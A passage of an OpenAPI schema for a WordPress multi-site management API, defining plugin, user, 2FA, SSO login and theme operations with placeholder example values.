], "additionalProperties": true, "description": "Installed plugin selected for an activation, deactivation, deletion, lock, or unlock operation.", "properties": { "filename": { "type": "string", "description": "Plugin filename path returned by the plugin list.", "example": "akismet/akismet.php" } }, "example": { "filename": "akismet/akismet.php" } }, "SitesWpPluginActionSite": { "type": "object", "required": [ "id", "plugins" ], "additionalProperties": true, "description": "Site and installed plugins selected for an asynchronous plugin action.", "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "options": { "$ref": "#/components/schemas/SitesWpPluginOperationOptions" }, "plugins": { "type": "array", "minItems": 1, "description": "Installed plugins to act on for the site.", "items": { "$ref": "#/components/schemas/SitesWpPluginOperationPlugin" } } }, "example": { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "plugins": [ { "filename": "akismet/akismet.php" } ] } }, "ActivateSitesWpPluginsRequest": { "type": "object", "required": [ "sites" ], "additionalProperties": true, "description": "Request body for activating installed plugins on selected sites.", "properties": { "override_lock": { "type": "boolean", "description": "Set to `true` to override site locks and plugin update locks for this operation.", "example": false }, "sites": { "type": "array", "minItems": 1, "description": "Sites and installed plugins selected for activation.", "items": { "$ref": "#/components/schemas/SitesWpPluginActionSite" } } }, "example": { "override_lock": false, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "plugins": [ { "filename": "akismet/akismet.php" } ] } ] } }, "ActivateSitesWpPluginsResponse": { "type": "object", "required": [ "task" ], "description": "Response envelope returned after a plugin activation task is created.", "properties": { "task": { "$ref": "#/components/schemas/SitesWpPluginTask" } }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T09:00:00Z" } } }, "DeactivateSitesWpPluginsRequest": { "type": "object", "required": [ "sites" ], "additionalProperties": true, "description": "Request body for deactivating installed plugins on selected sites.", "properties": { "override_lock": { "type": "boolean", "description": "Set to `true` to override site locks and plugin update locks for this operation.", "example": false }, "sites": { "type": "array", "minItems": 1, "description": "Sites and installed plugins selected for deactivation.", "items": { "$ref": "#/components/schemas/SitesWpPluginActionSite" } } }, "example": { "override_lock": false, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "plugins": [ { "filename": "akismet/akismet.php" } ] } ] } }, "DeactivateSitesWpPluginsResponse": { "type": "object", "required": [ "task" ], "description": "Response envelope returned after a plugin deactivation task is created.", "properties": { "task": { "$ref": "#/components/schemas/SitesWpPluginTask" } }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T09:00:00Z" } } }, "DeleteSitesWpPluginsRequest": { "type": "object", "required": [ "sites" ], "additionalProperties": true, "description": "Request body for deleting installed plugins from selected sites.", "properties": { "override_lock": { "type": "boolean", "description": "Set to `true` to override site locks and plugin update locks for this operation.", "example": false }, "sites": { "type": "array", "minItems": 1, "description": "Sites and installed plugins selected for deletion.", "items": { "$ref": "#/components/schemas/SitesWpPluginActionSite" } } }, "example": { "override_lock": false, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "plugins": [ { "filename": "akismet/akismet.php" } ] } ] } }, "DeleteSitesWpPluginsResponse": { "type": "object", "required": [ "task" ], "description": "Response envelope returned after a plugin deletion task is created.", "properties": { "task": { "$ref": "#/components/schemas/SitesWpPluginTask" } }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T09:00:00Z" } } }, "SitesWpPluginLockSite": { "type": "object", "required": [ "id", "plugins" ], "additionalProperties": true, "description": "Site and installed plugins selected for lock or unlock.", "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "plugins": { "type": "array", "minItems": 1, "description": "Installed plugins to lock or unlock for the site.", "items": { "$ref": "#/components/schemas/SitesWpPluginOperationPlugin" } } }, "example": { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "plugins": [ { "filename": "akismet/akismet.php" } ] } }, "LockSitesWpPluginsRequest": { "type": "object", "required": [ "sites" ], "additionalProperties": true, "description": "Request body for locking plugin updates on selected sites.", "properties": { "sites": { "type": "array", "minItems": 1, "description": "Sites and installed plugins selected for lock.", "items": { "$ref": "#/components/schemas/SitesWpPluginLockSite" } } }, "example": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "plugins": [ { "filename": "akismet/akismet.php" } ] } ] } }, "LockSitesWpPluginsResponse": { "type": "object", "required": [ "lock" ], "description": "Response envelope returned after plugin updates are locked.", "properties": { "lock": { "type": "object", "required": [ "site_ids" ], "description": "Plugin lock result.", "properties": { "site_ids": { "type": "array", "description": "Site IDs accepted for the lock operation.", "items": { "$ref": "#/components/schemas/SiteId" } } } } }, "example": { "lock": { "site_ids": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] } } }, "UnlockSitesWpPluginsRequest": { "type": "object", "required": [ "sites" ], "additionalProperties": true, "description": "Request body for unlocking plugin updates on selected sites.", "properties": { "sites": { "type": "array", "minItems": 1, "description": "Sites and installed plugins selected for unlock.", "items": { "$ref": "#/components/schemas/SitesWpPluginLockSite" } } }, "example": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "plugins": [ { "filename": "akismet/akismet.php" } ] } ] } }, "UnlockSitesWpPluginsResponse": { "type": "object", "required": [ "unlock" ], "description": "Response envelope returned after plugin updates are unlocked.", "properties": { "unlock": { "type": "object", "required": [ "site_ids" ], "description": "Plugin unlock result.", "properties": { "site_ids": { "type": "array", "description": "Site IDs accepted for the unlock operation.", "items": { "$ref": "#/components/schemas/SiteId" } } } } }, "example": { "unlock": { "site_ids": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ] } } }, "ListSitesWpUsersSort": { "type": "string", "default": "username,asc", "description": "Sort order for returned WordPress users.", "example": "username,asc" }, "SitesWpUserRole": { "type": "string", "enum": [ "administrator", "editor", "author", "contributor", "subscriber" ], "description": "WordPress role assigned to the user.", "example": "editor" }, "SitesWpUserTwoFaStatus": { "type": "string", "enum": [ "not_applied", "pending", "applied" ], "description": "Public WordPress 2FA status for the user.", "example": "applied" }, "SitesWpUserFilters": { "type": "object", "required": [], "additionalProperties": false, "description": "Filters applied to returned WordPress users.", "properties": { "username:contains": { "type": "string", "description": "Case-insensitive partial match against the WordPress login username.", "example": "admin" }, "email:contains": { "type": "string", "description": "Case-insensitive partial match against the WordPress user email.", "example": "example.com" }, "name:contains": { "type": "string", "description": "Case-insensitive partial match against the WordPress display name.", "example": "Ada" }, "role:eq": { "$ref": "#/components/schemas/SitesWpUserRole" }, "two_fa_status:in": { "type": "array", "minItems": 1, "description": "Public 2FA statuses to include in the response.", "items": { "$ref": "#/components/schemas/SitesWpUserTwoFaStatus" }, "example": [ "applied" ] } }, "example": { "username:contains": "admin", "role:eq": "administrator", "two_fa_status:in": [ "applied" ] } }, "SitesWpUserObjectId": { "type": "integer", "minimum": 1, "description": "WordPress user object ID within a site.", "example": 42 }, "ListSitesWpUsersResponse": { "type": "object", "required": [ "sites", "meta" ], "description": "Response envelope returned with a paginated list of WordPress users grouped by site.", "properties": { "sites": { "type": "array", "description": "Sites and their WordPress users.", "items": { "type": "object", "required": [ "id", "last_sync_at", "wp" ], "description": "Site with its valid WordPress users.", "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "last_sync_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the site last synced successfully, or `null` when the site has not synced.", "example": "2026-01-12T08:20:00Z" }, "wp": { "type": "object", "required": [ "users" ], "description": "WordPress user inventory for the site.", "properties": { "users": { "type": "array", "description": "Valid WordPress users for the site.", "items": { "type": "object", "required": [ "wp_object_id", "username", "email", "name", "role", "two_fa_status", "default_login" ], "description": "WordPress user returned for a site.", "properties": { "wp_object_id": { "$ref": "#/components/schemas/SitesWpUserObjectId" }, "username": { "type": "string", "description": "WordPress login username.", "example": "admin" }, "email": { "type": "string", "format": "email", "description": "Email address configured on the WordPress user.", "example": "admin@example.com" }, "name": { "type": "string", "description": "WordPress display name.", "example": "Ada Lovelace" }, "role": { "$ref": "#/components/schemas/SitesWpUserRole" }, "two_fa_status": { "$ref": "#/components/schemas/SitesWpUserTwoFaStatus" }, "default_login": { "type": "boolean", "description": "Whether this user is the default SSO login user for the site.", "example": true } }, "example": { "wp_object_id": 42, "username": "admin", "email": "admin@example.com", "name": "Ada Lovelace", "role": "administrator", "two_fa_status": "applied", "default_login": true } } } } } }, "example": { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "last_sync_at": "2026-01-12T08:20:00Z", "wp": { "users": [ { "wp_object_id": 42, "username": "admin", "email": "admin@example.com", "name": "Ada Lovelace", "role": "administrator", "two_fa_status": "applied", "default_login": true } ] } } } }, "meta": { "type": "object", "required": [ "pagination" ], "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } }, "example": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "last_sync_at": "2026-01-12T08:20:00Z", "wp": { "users": [ { "wp_object_id": 42, "username": "admin", "email": "admin@example.com", "name": "Ada Lovelace", "role": "administrator", "two_fa_status": "applied", "default_login": true } ] } }, { "id": "2ad8f92c4b6e1a7d3c5f9b0e8a1d6c4f", "last_sync_at": "2026-01-11T12:15:00Z", "wp": { "users": [] } } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "CreateSitesWpUsersRequest": { "type": "object", "required": [ "sites" ], "additionalProperties": true, "description": "Request body for creating WordPress users on selected sites.", "properties": { "override_lock": { "type": "boolean", "default": false, "description": "Set to `true` to override site locks for this operation.", "example": false }, "sites": { "type": "array", "minItems": 1, "description": "Sites and WordPress users to create.", "items": { "type": "object", "required": [ "id", "users" ], "additionalProperties": true, "description": "Site and WordPress users to create on that site.", "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "users": { "type": "array", "minItems": 1, "description": "WordPress users to create on the site.", "items": { "type": "object", "required": [ "username", "password", "email", "role" ], "additionalProperties": true, "description": "WordPress user to create on a selected site.", "properties": { "username": { "type": "string", "minLength": 3, "maxLength": 60, "description": "WordPress login username for the new user.", "example": "neweditor" }, "password": { "type": "string", "minLength": 4, "maxLength": 128, "description": "Password for the new WordPress user.", "example": "secretpass123" }, "email": { "type": "string", "format": "email", "description": "Email address for the new WordPress user.", "example": "neweditor@example.com" }, "first_name": { "type": "string", "maxLength": 50, "description": "Optional first name for the new WordPress user.", "example": "New" }, "last_name": { "type": "string", "maxLength": 50, "description": "Optional last name for the new WordPress user.", "example": "Editor" }, "role": { "$ref": "#/components/schemas/SitesWpUserRole" } }, "example": { "username": "neweditor", "password": "secretpass123", "email": "neweditor@example.com", "first_name": "New", "last_name": "Editor", "role": "editor" } } } }, "example": { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "users": [ { "username": "neweditor", "password": "secretpass123", "email": "neweditor@example.com", "first_name": "New", "last_name": "Editor", "role": "editor" } ] } } } }, "example": { "override_lock": false, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "users": [ { "username": "neweditor", "password": "secretpass123", "email": "neweditor@example.com", "first_name": "New", "last_name": "Editor", "role": "editor" } ] } ] } }, "SitesWpUserTask": { "type": "object", "required": [ "id", "status", "created_at" ], "description": "Background task created for a WordPress user management operation.", "properties": { "id": { "$ref": "#/components/schemas/TaskId" }, "status": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Current task status.", "example": "queued" }, "created_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Task creation time.", "example": "2026-01-12T12:00:00Z" } }, "example": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T12:00:00Z" } }, "CreateSitesWpUsersResponse": { "type": "object", "required": [ "task" ], "description": "Response envelope returned after a WordPress user creation task is created.", "properties": { "task": { "$ref": "#/components/schemas/SitesWpUserTask" } }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T12:00:00Z" } } }, "SitesWpUsersUserReference": { "type": "object", "required": [ "wp_object_id" ], "additionalProperties": true, "description": "WordPress user selected for a management operation.", "properties": { "wp_object_id": { "$ref": "#/components/schemas/SitesWpUserObjectId" } }, "example": { "wp_object_id": 42 } }, "DeleteSitesWpUsersRequest": { "type": "object", "required": [ "sites" ], "additionalProperties": true, "description": "Request body for deleting WordPress users from selected sites.", "properties": { "override_lock": { "type": "boolean", "default": false, "description": "Set to `true` to override site locks for this operation.", "example": false }, "sites": { "type": "array", "minItems": 1, "description": "Sites and WordPress users to delete.", "items": { "type": "object", "required": [ "id", "users" ], "additionalProperties": true, "description": "Site and WordPress users to delete from that site.", "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "users": { "type": "array", "minItems": 1, "description": "WordPress users to delete from the site.", "items": { "allOf": [ { "$ref": "#/components/schemas/SitesWpUsersUserReference" }, { "type": "object", "required": [], "description": "WordPress user deletion selection. Send exactly one of `assign_to` or `delete_content: true`.", "properties": { "assign_to": { "$ref": "#/components/schemas/SitesWpUserObjectId" }, "delete_content": { "type": "boolean", "description": "Delete the user's content instead of reassigning it.", "example": true } } } ], "example": { "wp_object_id": 42, "assign_to": 7 } } } }, "example": { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "users": [ { "wp_object_id": 42, "assign_to": 7 }, { "wp_object_id": 43, "delete_content": true } ] } } } }, "example": { "override_lock": false, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "users": [ { "wp_object_id": 42, "assign_to": 7 }, { "wp_object_id": 43, "delete_content": true } ] } ] } }, "DeleteSitesWpUsersResponse": { "type": "object", "required": [ "task" ], "description": "Response envelope returned after a WordPress user deletion task is created.", "properties": { "task": { "$ref": "#/components/schemas/SitesWpUserTask" } }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T12:00:00Z" } } }, "UpdateSitesWpUserRolesRequest": { "type": "object", "required": [ "sites" ], "additionalProperties": true, "description": "Request body for changing WordPress user roles on selected sites.", "properties": { "override_lock": { "type": "boolean", "default": false, "description": "Set to `true` to override site locks for this operation.", "example": false }, "sites": { "type": "array", "minItems": 1, "description": "Sites and WordPress user role changes to apply.", "items": { "type": "object", "required": [ "id", "users" ], "additionalProperties": true, "description": "Site and WordPress user role changes for that site.", "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "users": { "type": "array", "minItems": 1, "description": "WordPress user role changes to apply on the site.", "items": { "allOf": [ { "$ref": "#/components/schemas/SitesWpUsersUserReference" }, { "type": "object", "required": [ "role" ], "description": "WordPress user role change for a selected user.", "properties": { "role": { "$ref": "#/components/schemas/SitesWpUserRole" } } } ], "example": { "wp_object_id": 42, "role": "editor" } } } }, "example": { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "users": [ { "wp_object_id": 42, "role": "editor" } ] } } } }, "example": { "override_lock": false, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "users": [ { "wp_object_id": 42, "role": "editor" } ] } ] } }, "UpdateSitesWpUserRolesResponse": { "type": "object", "required": [ "task" ], "description": "Response envelope returned after a WordPress user role update task is created.", "properties": { "task": { "$ref": "#/components/schemas/SitesWpUserTask" } }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T12:00:00Z" } } }, "UpdateSitesWpUserPasswordsRequest": { "type": "object", "required": [ "sites" ], "additionalProperties": true, "description": "Request body for changing WordPress user passwords on selected sites.", "properties": { "override_lock": { "type": "boolean", "default": false, "description": "Set to `true` to override site locks for this operation.", "example": false }, "send_email": { "type": "boolean", "description": "Whether WordPress should email the affected users after the password change.", "example": true }, "sites": { "type": "array", "minItems": 1, "description": "Sites and WordPress user password changes to apply.", "items": { "type": "object", "required": [ "id", "users" ], "additionalProperties": true, "description": "Site and WordPress user password changes for that site.", "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "users": { "type": "array", "minItems": 1, "description": "WordPress user password changes to apply on the site.", "items": { "allOf": [ { "$ref": "#/components/schemas/SitesWpUsersUserReference" }, { "type": "object", "required": [ "new_password" ], "description": "WordPress user password change for a selected user.", "properties": { "new_password": { "type": "string", "minLength": 4, "maxLength": 128, "description": "New password for the selected WordPress user.", "example": "newpass123" } } } ], "example": { "wp_object_id": 42, "new_password": "newpass123" } } } }, "example": { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "users": [ { "wp_object_id": 42, "new_password": "newpass123" } ] } } } }, "example": { "override_lock": false, "send_email": true, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "users": [ { "wp_object_id": 42, "new_password": "newpass123" } ] } ] } }, "UpdateSitesWpUserPasswordsResponse": { "type": "object", "required": [ "task" ], "description": "Response envelope returned after a WordPress user password update task is created.", "properties": { "task": { "$ref": "#/components/schemas/SitesWpUserTask" } }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T12:00:00Z" } } }, "ManageSitesWpUser2faRequest": { "type": "object", "required": [ "action", "sites" ], "additionalProperties": true, "description": "Request body for enabling, disabling, or resetting WordPress 2FA for selected users.", "properties": { "action": { "type": "string", "enum": [ "enable", "disable", "reset" ], "description": "2FA operation to perform for the selected WordPress users.", "example": "enable" }, "send_email": { "type": "boolean", "description": "Whether notification email should be sent for the 2FA operation.", "example": true }, "sites": { "type": "array", "minItems": 1, "description": "Sites and WordPress users selected for the 2FA operation.", "items": { "type": "object", "required": [ "id", "users" ], "additionalProperties": true, "description": "Site and WordPress users selected for a 2FA operation.", "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "users": { "type": "array", "minItems": 1, "description": "WordPress users selected for the 2FA operation.", "items": { "$ref": "#/components/schemas/SitesWpUsersUserReference" } } }, "example": { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "users": [ { "wp_object_id": 42 } ] } } } }, "example": { "action": "enable", "send_email": true, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "users": [ { "wp_object_id": 42 } ] } ] } }, "ManageSitesWpUser2faResponse": { "type": "object", "required": [ "task" ], "description": "Response envelope returned after a WordPress user 2FA task is created.", "properties": { "task": { "$ref": "#/components/schemas/SitesWpUserTask" } }, "example": { "task": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T12:00:00Z" } } }, "SetDefaultSitesWpUserRequest": { "type": "object", "required": [ "sites" ], "additionalProperties": true, "description": "Request body for setting default WordPress SSO login users on selected sites.", "properties": { "sites": { "type": "array", "minItems": 1, "description": "Sites and WordPress users to set as default SSO login users.", "items": { "type": "object", "required": [ "id", "wp_object_id" ], "additionalProperties": true, "description": "Site and WordPress user to set as the default SSO login user.", "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "wp_object_id": { "$ref": "#/components/schemas/SitesWpUserObjectId" } }, "example": { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "wp_object_id": 42 } } } }, "example": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "wp_object_id": 42 } ] } }, "SetDefaultSitesWpUserResponse": { "type": "object", "required": [ "set_default", "meta" ], "description": "Response envelope returned after default WordPress login users are set.", "properties": { "set_default": { "type": "object", "required": [ "site_ids", "errors" ], "properties": { "site_ids": { "type": "array", "description": "Site IDs where the default login user was set.", "items": { "$ref": "#/components/schemas/SiteId" } }, "errors": { "type": "array", "description": "Per-site errors. Successful responses currently return an empty array.", "items": { "type": "object" }, "example": [] } } }, "meta": { "type": "object", "required": [ "requested", "succeeded", "failed" ], "properties": { "requested": { "type": "integer", "description": "Number of submitted sites.", "example": 1 }, "succeeded": { "type": "integer", "description": "Number of sites updated successfully.", "example": 1 }, "failed": { "type": "integer", "description": "Number of failed site updates.", "example": 0 } } } }, "example": { "set_default": { "site_ids": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ], "errors": [] }, "meta": { "requested": 1, "succeeded": 1, "failed": 0 } } }, "GetSitesWpUserSsoLoginUrlResponse": { "type": "object", "required": [ "url" ], "description": "Response envelope returned with a temporary WordPress SSO login URL.", "properties": { "url": { "type": "string", "format": "uri", "description": "Temporary SSO URL for logging in to the WordPress admin area.", "example": "https://example.com/wp-admin/?bv_auto_login=token" } }, "example": { "url": "https://example.com/wp-admin/?bv_auto_login=token" } }, "ListSitesWpThemesSort": { "type": "string", "default": "name,asc", "description": "Sort order for returned WordPress themes.", "example": "name,asc" }, "SitesWpThemeFilters": { "type": "object", "required": [], "additionalProperties": false, "description": "Filters applied to returned WordPress themes.", "properties": { "name:contains": { "type": "string", "description": "Case-insensitive partial match against the theme name.", "example": "twenty" }, "slug:eq": { "type": "string", "description": "Exact match against the theme slug.", "example": "twentytwentyfour" }, "filename:eq": { "type": "string", "description": "Exact match against the theme stylesheet filename.", "example": "twentytwentyfour" }, "current_version:eq": { "type": "string", "description": "Exact match against the installed theme version.", "example": "1.0" }, "latest_version:eq": { "type": "string", "description": "Exact match against the latest detected theme version.", "example": "1.1" }, "update_available:eq": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Whether a theme update is available.", "example": true }, "active:eq": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Whether the theme is active.", "example": true }, "active_child:eq": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Whether an active child theme depends on the theme.", "example": false }, "package_available:eq": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Whether an update or install package is available.", "example": true }, "vulnerable:eq": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Whether known vulnerabilities are detected for the theme.", "example": false }, "locked:eq": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Whether theme updates are locked.", "example": false } }, "example": { "name:contains": "twenty", "active:eq": true, "update_available:eq": true } }, "SitesWpTheme": { "type": "object", "required": [ "name", "slug", "filename", "template", "current_version", "latest_version", "active", "update_available", "package_available", "locked", "active_child" ], "description": "Installed WordPress theme details reported for one site.", "properties": { "name": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Human-readable theme name reported by the site.", "example": "Twenty Twenty-Four" }, "slug": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Theme slug reported by WordPress.", "example": "twentytwentyfour" }, "filename": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Theme stylesheet filename returned by WordPress. Use this value in theme actions.", "example": "twentytwentyfour" }, "template": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Parent template used by the theme, or the theme stylesheet when it is not a child theme.", "example": "twentytwentyfour" }, "current_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Version currently installed on the site, or `null` when unavailable.", "example": "1.0" }, "latest_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Latest version detected for the theme, or `null` when no update metadata is available.", "example": "1.1" }, "active": { "type": "boolean", "description": "Whether the theme is active on the site.", "example": true }, "update_available": { "type": "boolean", "description": "Whether a theme update has been detected.", "example": true }, "package_available": { "type": "boolean", "description": "Whether an update or install package is available for the theme.", "example": true }, "locked": { "type": "boolean", "description": "Whether theme updates are locked for this theme on the site.", "example": false }, "active_child": { "type": "boolean", "description": "Whether an active child theme depends on this theme.", "example": false }, "vulnerable": { "type": "boolean", "description": "Whether known vulnerabilities are detected for the theme in the default response. Omitted when `security` is returned for `include_vulnerabilities=true`.", "example": false }, "security": { "$ref": "#/components/schemas/SitesWpVulnerabilitySecurity" } }, "example": { "name": "Twenty Twenty-Four", "slug": "twentytwentyfour", "filename": "twentytwentyfour", "template": "twentytwentyfour", "current_version": "1.0", "latest_version": "1.1", "active": true, "update_available": true, "package_available": true, "locked": false, "active_child": false, "vulnerable": false } }, "ListSitesWpThemesResponse": { "type": "object", "required": [ "sites", "meta" ], "description": "Response envelope returned with a paginated list of WordPress themes grouped by site.", "properties": { "sites": { "type": "array", "description": "Sites and their WordPress theme metadata.", "items": { "type": "object", "required": [ "id", "last_sync_at", "wp" ], "description": "Site with its WordPress theme details.", "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "last_sync_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the site last synced successfully, or `null` when the site has not synced.", "example": "2026-01-12T08:20:00Z" }, "wp": { "type": "object", "description": "WordPress data for the site.", "properties": { "themes": { "type": "array", "description": "Installed themes returned for the site. This key can be omitted when no themes are returned for the page.", "items": { "$ref": "#/components/schemas/SitesWpTheme" } } } } }, "example": { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "last_sync_at": "2026-01-12T08:20:00Z", "wp": { "themes": [ { "name": "Twenty Twenty-Four", "slug": "twentytwentyfour", "filename": "twentytwentyfour", "template": "twentytwentyfour", "current_version": "1.0", "latest_version": "1.1", "active": true, "update_available": true, "package_available": true, "locked": false, "active_child": false, "vulnerable": false } ] } } } }, "meta": { "type": "object", "required": [ "pagination" ], "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } }, "example": { "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "last_sync_at": "2026-01-12T08:20:00Z", "wp": { "themes": [ { "name": "Twenty Twenty-Four", "slug": "twentytwentyfour", "filename": "twentytwentyfour", "template": "twentytwentyfour", "current_version": "1.0", "latest_version": "1.1", "active": true, "update_available": true, "package_available": true, "locked": false, "active_child": false, "vulnerable": false } ] } }, { "id": "0f3a1c7b2d4e6f8091a2b3c4d5e6f708", "last_sync_at": "2026-01-12T09:15:00Z", "wp": { "themes": [ { "name": "Astra", "slug": "astra", "filename": "astra", "template": "astra", "current_version": "4.6.1", "latest_version": "4.6.1", "active": false, "update_available": false, "package_available": true, "locked": true, "active_child": false, "vulnerable": false } ] } } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "SitesWpThemeOperationOptions": { "type": "object", "required": [], "additionalProperties": true, "description": "Optional controls for theme install, upload, activation, or deletion workflows.", "properties": { "visual_regression": { "type": "boolean", "description": "Run visual regression checks as part of the operation when the site plan supports it.", "example": false }, "backup": { "type": "boolean", "description": "Create a backup before the theme operation when supported.", "example": true }, "sandbox": { "type": "boolean", "description": "Run the theme operation through a sandbox workflow when supported.", "example": false } }, "example": { "backup": true, "sandbox": false, "visual_regression": false } }, "InstallSitesWpThemesRequest": { "type": "object", "required": [ "sites" ], "additionalProperties": true, "description": "Request body for installing WordPress.org themes on selected sites.", "properties": { "override_lock": { "type": "boolean", "description": "Set to `true` to override site locks and theme update locks for this operation.", "example": false }, "sites": { "type": "array", "minItems": 1, "description": "Sites and WordPress.org theme packages selected for installation.", "items": { "type": "object", "required": [ "id", "themes" ], "additionalProperties": true, "description": "Site and theme packages selected for a theme install task.", "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "options": { "$ref": "#/components/schemas/SitesWpThemeOperationOptions" }, "themes": { "type": "array", "minItems": 1, "description": "WordPress.org theme packages to install on the site.", "items": { "type": "object", "required": [ "slug", "name", "version", "package" ], "additionalProperties": true, "description": "WordPress.org theme package selected for installation.", "properties": { "slug": { "type": "string", "description": "WordPress.org theme slug.", "example": "twentytwentyfour" }, "name": { "type": "string", "description": "Human-readable theme name.", "example": "Twenty Twenty-Four" }, "version": { "type": "string", "description": "Theme version to install.", "example": "1.1" }, "package": { "type": "string", "format": "uri", "description": "HTTPS package URL from a WordPress.org domain.", "example": "https://downloads.wordpress.org/theme/twentytwentyfour.1.1.zip" } }, "example": { "slug": "twentytwentyfour", "name": "Twenty Twenty-Four", "version": "1.1", "package": "https://downloads.wordpress.org/theme/twentytwentyfour.1.1.zip" } } } }, "example": { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "themes": [ { "slug": "twentytwentyfour", "name": "Twenty Twenty-Four", "version": "1.1", "package": "https://downloads.wordpress.org/theme/twentytwentyfour.1.1.zip" } ] } } } }, "example": { "override_lock": false, "sites": [ { "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1", "themes": [ { "slug": "twentytwentyfour", "name": "Twenty Twenty-Four", "version": "1.1", "package": "https://downloads.wordpress.org/theme/twentytwentyfour.1.1.zip" } ] } ] } }, "SitesWpThemeTask": { "type": "object", "required": [ "id", "status", "created_at" ], "description": "Background task created for a theme management operation.", "properties": { "id": { "$ref": "#/components/schemas/TaskId" }, "status": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Current task status.", "example": "queued" }, "created_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Task creation time.", "example": "2026-01-12T09:00:00Z" } }, "example": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "queued", "created_at": "2026-01-12T09:00:00Z" } }, "InstallSitesWpThemesResponse": { "type": "object", "required": [ "task" ], "description": "Response envelope returned after a theme install task is created.", "properties": { "task": { "$ref": "#/components/schemas/SitesWpThemeTask" } }, "example": { "task": { "id": 